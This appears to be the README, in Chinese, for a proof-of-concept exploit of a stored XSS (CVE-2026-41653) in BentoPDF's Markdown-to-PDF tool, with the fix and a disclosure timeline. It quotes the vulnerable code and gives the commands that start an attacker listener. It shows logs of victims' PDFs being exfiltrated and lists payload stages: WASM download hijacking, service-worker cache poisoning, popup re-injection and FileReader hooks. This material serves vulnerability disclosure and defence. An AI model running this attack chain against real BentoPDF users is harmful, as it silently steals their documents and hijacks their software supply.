
CVE-2026-41653 的概念验证漏洞利用程序,针对 BentoPDF 中的存储型 XSS,可实现静默文件外泄和 WASM 供应链劫持。
发现并报告者: Astaruf
完整技术文章: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
上游公告: alam00000/bentopdf GHSA 公告
NVD 条目: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF 是一个自托管的、浏览器端 PDF 工具箱(压缩、合并、拆分、旋转、转换、Markdown 转 PDF 等)。
Markdown 转 PDF 工具将用户提供的 Markdown 通过 markdown-it 处理,且启用了 html: true,并将渲染后的输出直接通过 innerHTML 注入 DOM,未进行任何净化处理。攻击者只需提供一个精心构造的 .md 文件,即可在 BentoPDF 源中执行任意 JavaScript。
由于 BentoPDF 是一个完全客户端应用,每个工具(压缩 PDF、合并 PDF、拆分 PDF 等)都直接在受害者的浏览器中加载和处理文件。因此,一次 XSS 就足以静默窃取受害者在会话期间在任何工具中打开的每一个文档。
攻击者发送 report.md(包含 )
-> 受害者在 Markdown 转 PDF 中打开它
-> markdown-it 渲染原始 HTML(html: true)
-> preview.innerHTML = html(无 DOMPurify)
-> 从攻击者服务器加载 poc_payload.js(无 CSP)
-> 全局挂钩 FileReader + <input type=file>
-> 隐藏弹窗在每次工具导航时重新注入挂钩
-> 受害者打开的每个文件都被静默窃取
localStorage['bentopdf:wasm-providers'],将 PyMuPDF、Ghostscript 和 cpdf 的 WASM 模块下载重定向到攻击者控制的主机。window.opener,并在受害者每次导航到不同工具时重新注入文件挂钩,从而在整个会话期间保持访问权限。bentopdf-* 缓存,为浏览器提供的每个 /assets/*.js 文件附加窃取挂钩,影响范围超出当前会话。markdown-it 中的原始 HTML 直通(CWE-79)src/js/utils/markdown-editor.ts(第 271–272 行):
private mdOptions: MarkdownItOptions = {
html: true, // 原始 HTML 标签直接通过 markdown 解析器
breaks: false,
linkify: true,
typographer: true,
};
像 ``、<svg>、<details> 以及任何事件处理属性(onerror、onload、ontoggle)都会被原样转发到 DOM。
innerHTML 注入(CWE-116)src/js/utils/markdown-editor.ts(第 689–694 行):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // 攻击者控制的 HTML 注入 DOM
this.renderMermaidDiagrams();
}
在 markdown-it 和 innerHTML 之间没有应用任何净化库。浏览器解析注入的字符串,遇到内联事件处理器后立即执行。
nginx.conf 未附带 Content-Security-Policy 头。注入的 JavaScript 可以自由加载外部脚本、向任何主机发起 fetch() 请求以及打开弹窗窗口。即使漏洞点存在,严格的 CSP 也能阻止外部脚本加载阶段。
# 启动攻击者服务器用于窃取
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py 将:
# - 在当前目录生成 poc_report.md 载荷
# - 开始监听受害者的回连和窃取的文件
将 poc_report.md 发送给受害者,并让他们在 BentoPDF → Markdown 转 PDF 中打开它。载荷在预览渲染的瞬间触发,受害者未来上传的所有文件都会被窃取到攻击者的服务器。
1. 使用 --lhost 和 --lport 启动攻击者服务器。恶意 poc_report.md 自动生成。
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown 转 PDF 存储型 XSS -> 文件窃取
PoC 作者:Astaruf (https://nstsec.com)
========================================================================
窃取服务器: http://127.0.0.1:9999
载荷: http://127.0.0.1:9999/poc_payload.js
战利品目录: /home/kali/loot
========================================================================
恶意 .md 文件已就绪:/home/kali/poc_report.md
将其发送给受害者,并让他们在 Markdown 转 PDF 工具中打开。
载荷在预览渲染时立即触发。
========================================================================
等待受害者...
2. 受害者在 BentoPDF 中打开 Markdown 转 PDF 工具。

3. 受害者加载 poc_report.md。预览渲染,`` 加载失败,onerror 触发。poc_payload.js 从攻击者服务器获取,且没有 CSP 阻止。

4. 载荷执行四个阶段:通过 localStorage 劫持 WASM 提供者、生成弹窗监视器、在当前页面安装 FileReader 和文件输入挂钩。

5. 受害者导航到压缩 PDF。弹窗检测到导航并将挂钩重新注入新页面。

6. 受害者加载 PDF。工具正常压缩它。文件字节已被 POST 到攻击者服务器。

7. 攻击者服务器在验证运行中的输出:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. 被窃取的文件作为完整、有效的 PDF 打开,与原始文件完全相同。

嵌入在 poc.py 中的载荷按顺序执行四个阶段:
已在 BentoPDF v2.8.3 中发布。开发者对最初报告的漏洞点之外的代码库进行了审计,并解决了多个相关向量:
markdown-editor.ts 中所有三个 innerHTML 漏洞点,包括使用 securityLevel: 'loose' 且被发现可绕过第一个净化器的 Mermaid SVG 路径。securityLevel: 'strict' 运行,SVG 输出使用 DOMPurify 的 SVG 配置文件重新净化。file.name XSS 在约 8 个工具页面(Deskew、Form Filler、Remove Annotations 等)中进行了转义,此前文件名未经净化直接拼接进 HTML。localStorage['bentopdf:wasm-providers'] 中不可信的 URL 在加载时被丢弃。nginx.conf 中强制执行完整的安全头集,包括 Content-Security-Policy。针对最初报告的漏洞点的最小修复:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
在 nginx.conf 中添加的 CSP 头:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
html: true 的安全说明本材料仅供授权的安全测试和教育目的使用。仅可针对您拥有或已获得明确书面许可测试的 BentoPDF 实例使用。未经授权访问计算机系统是违法的。作者对滥用行为不承担任何责任。
| 选项 | 默认值 | 描述 |
|---|
--lhost | 必填 | 受害者浏览器可访问的 IP |
--lport | 9999 | 监听端口 |
--loot-dir | ./loot/ | 窃取文件的保存目录 |
--log-file | 无 | 将所有事件追加到文件(去除 ANSI 码) |
--no-color | 关闭 | 禁用终端输出中的 ANSI 颜色 |
| 阶段 | 功能 | 持久化范围 |
|---|
| 1 | 覆盖 localStorage['bentopdf:wasm-providers'],将所有 WASM 模块下载重定向到攻击者 | 跨浏览器会话 |
| 2 | 注册 /sw.js,枚举所有工具页面中的 /assets/*.js,用窃取挂钩污染 bentopdf-* Service Worker 缓存 | 超出浏览器会话(仅 HTTPS) |
| 3 | 生成一个隐藏的 1×1 弹窗,轮询 window.opener.location.href,并在每次工具导航后重新注入文件挂钩 | 只要 BentoPDF 标签页打开 |
| 4 | 挂钩 FileReader.prototype.readAsArrayBuffer 和文档级 change 监听器:受害者接触的每个文件都会被 POST 到攻击者服务器 /file?name=<filename> | 当前页面 |
| 日期 | 事件 |
|---|
| 2026-04-02 | 发现漏洞 |
| 2026-04-02 | 私下报告给维护者 |
| 2026-04-17 | 维护者确认 |
| 2026-04-17 | 修复在 edge 构建中落地并重新测试 |
| 2026-04-18 | v2.8.3 发布并公开致谢 |
| 2026-04-21 | GHSA 公告发布 |
| 2026-04-22 | 分配 CVE-2026-41653 |